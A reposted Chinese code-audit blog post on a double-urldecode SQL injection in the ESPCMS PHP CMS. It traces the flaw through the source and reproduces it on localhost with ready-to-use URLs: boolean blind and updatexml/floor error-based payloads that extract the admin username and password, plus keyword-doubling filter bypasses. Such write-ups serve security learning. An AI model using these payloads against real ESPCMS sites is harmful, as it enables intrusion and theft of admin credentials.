espcms代碼審計(urldecode注入漏洞)


現在的php程序大多都會進行參數過濾,如urldecode或者rawurldecode函數,導致二次解碼生成單引號而引發注入。

假設目標程序開啟了GPC,即magic_quotes_gpc=on,能實現addslshes()和stripslashes()這兩個函數的功能。在PHP4.0及以上的版本中,該選項默認情況下是開啟的,所以在PHP4.0及以上的版本中,就算PHP程序中的參數沒有進行過濾,PHP系統也會對每一個通過GET、POST、COOKIE方式傳遞的變量自動轉換,換句話說,輸入的注入攻擊代碼將會全部被轉換,將給攻擊者帶來非常大的困難。所以攻擊者要想法繞過GPC,包括利用程序代碼本身的缺陷漏洞繞過。

我們知道,如果提交參數到Webserver,Webserver會自動解碼一次。現在我們提交/1.php?id=l%2527,因為提交的參數里面沒有單引號,所以第一次解碼后的結果是id=1%27,%25解碼為%。

如果程序里使用urldecode或者rawurldecode函數來解碼id參數,解碼后得到 id=1',假如程序直接將其代入數據庫操作,就會出現單引號引發注入。 

例子我們想用目前流行的中小心企業網站搭建和管理php平台espcms,原來由Seay大神2013年發現,不過現在網上能夠找到的5代以上版本,都已經修補了這個漏洞。要復現就必須強行修改為原本相關文件漏洞代碼,作為學習驗證用。

 

代碼審計

打開Seay源代碼審計系統,點擊“新建”,打開espcms目錄,再點:自動審計->開始:

 

 Seay主要是根據關鍵字回溯,正則匹配發現漏洞。在安裝路徑/espcms/interface/search.php文件的in_taglist()函數(可見interface/3gwap_search.php中同樣存在)發現存在sql注入漏洞。

 

 $tagkey變量由accept引入。定位accept函數:

function accept($k, $var = 'R', $ectype = 'bu') {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_REQUEST;
break;
}
$vluer = $var[$k];
return isset($vluer) ? daddslashes($vluer, 1) : NULL;
}

 

可見傳遞的是$_REQUEST['tagkey']輸入的值。由於$tagkey變量進行了urldecode解碼,即進行了二次解碼,可繞過GPC與安全狗等,它們只見到瀏覽器url常規解碼的結果,如果沒有發現如單引號類“違法”數據,就放過了。但如我們輸入1%2527的時候,常規瀏覽器url解碼為1%27,可以通過GPC,但經過后台文件中urldecode二次解碼,就變成了1',單引號被寫入,可能引發注入漏洞。

再看對$tagkey輸入值的過濾Inputcodetrim()函數:

 

發現Inputcodetrim()函數只是過濾掉相應的敏感字,沒有過濾單引號,於是我們可考慮雙寫如from寫成frfromom繞過,使得$tagkey被帶入SQL語句,直接代入數據庫,導致產生漏洞。

 

 因為$tagkey通過get方式傳入,就要考慮漏洞觸發頁面的url參數構成。

易見in_taglist()函數在類mainpage下,知道要觸發漏洞就要調用該函數,首先要實例化該mainpage類。先追蹤下mainpage,全局搜索,發現有/index.php文件:

 

在/index.php文件下找到mainpage類實例化,即在首頁index.php觸發漏洞。

如何構造觸發payload呢?在url構造可控的$_GET方式輸入參數。/index.php文件有兩個可控變量$action和$archive:

定位indexget函數

 

 

該函數的$k,$var,$k對應輸入ac與at,$var對應 R。即可由$_GET['ac'或'at']的'ac'或'at'參數值得到變量。

 

 $archive為被包含執行的文件名,$action用來指明該文件中調用的函數名,$mainlist->in_$action()調用該函數。

我們通過現在可知/index.php頁面是通過ac傳參定位相應文件,調用其中at函數,若ac=search,at=taglist,則到search.php調用函數in_taglist(),再通過$tagkey變量傳參,觸發sql注入漏洞。因此我們就可能構造了exp:

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527

發現界面發生了變化,不能連接數據庫:

 

 但是卻不能顯示具體報錯內容,也就是說,不能進行報錯注入。

如果在二次解碼單引號%2527后面,加上  ",tags)#"閉合並注釋

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags)#,

依然不行。

這時我想,能否將進行二次urlencode編碼再作為payload呢?

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523

頁面變為

 

 

果然有用!但V5以后版本,不能顯示報錯信息,因此不能用報錯方法注入,只能用布爾盲注了。

猜解數據庫長度:

payload為

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) #

did>1是第二個sql語句的要求。將之直接用着url,發現沒有反應,所以tagkey=1%2527后要進行二次編碼

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b1%253d(seselectlect%2blength(username)%2bfrfromom%2bespcms_admin_member%2blimit%2b1)%2523

當length(username)=5,頁面正常,即用戶名admin長度為5,盲注成功。

 

 

猜解用戶名

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect  mid(username,1,1) frfromom espcms_admin_member limit 1)#

二次編碼

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523

頁面正常,因此username第1位即a.

同樣可得2,3,4,5位分別為d,m,i,n,成功獲取username為admin.

 

報錯注入版本

我進一步思考espcms有沒有顯示報錯信息的版本呢?為了學習,我下載了更早的v4.3版本,據說該版本還有很多人還在用。我將之命名為espcms2,測試結果證明,其有着報錯信息,可以報錯注入。

 

 

因此可使用報錯函數updatexml同樣二次編碼后構造payload.

查看數據庫名和用戶名exp:

http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252cversion()%252c0x7e%252cdatabase()%252c0x7e%252cuser())%252c0)%2b%2523

 

查看該數據庫下表名:

http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2btable_name%2bfrfromom%2binformation_schema.tables%2bwhwhereere%2btable_schema%253ddatabase()%2blimit%2b0%252c1))%252c0)%2b%2523

 

 

查看該表的字段:

http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bcolumn_name%2bfrfromom%2binformation_schema.columns%2bwhwhereere%2btable_schema%253ddatabase()%2band%2btable_name%253d%2527esp_admin_member%2527%2blimit%2b0%252c1))%252c0)%2b%2523

 

 

 

 

 

 

字段名有id,username,password

查看字段名內容:

http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bgroup_conconcatcat(id%252c0x3a%252cusername%252c0x3a%252cpassword)%2bfrfromom%2besp_admin_member%2blimit%2b0%252c1))%252c0)%2b%2523

 

 

我發現,如果用floor報錯,則不用二次編碼,也能得到報錯信息。

http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,password)) from espcms_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

 

 

以上是我學習代碼審計的一次詳細記錄,包含許多自己獨特的見解,希望對其他同學有參考價值。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM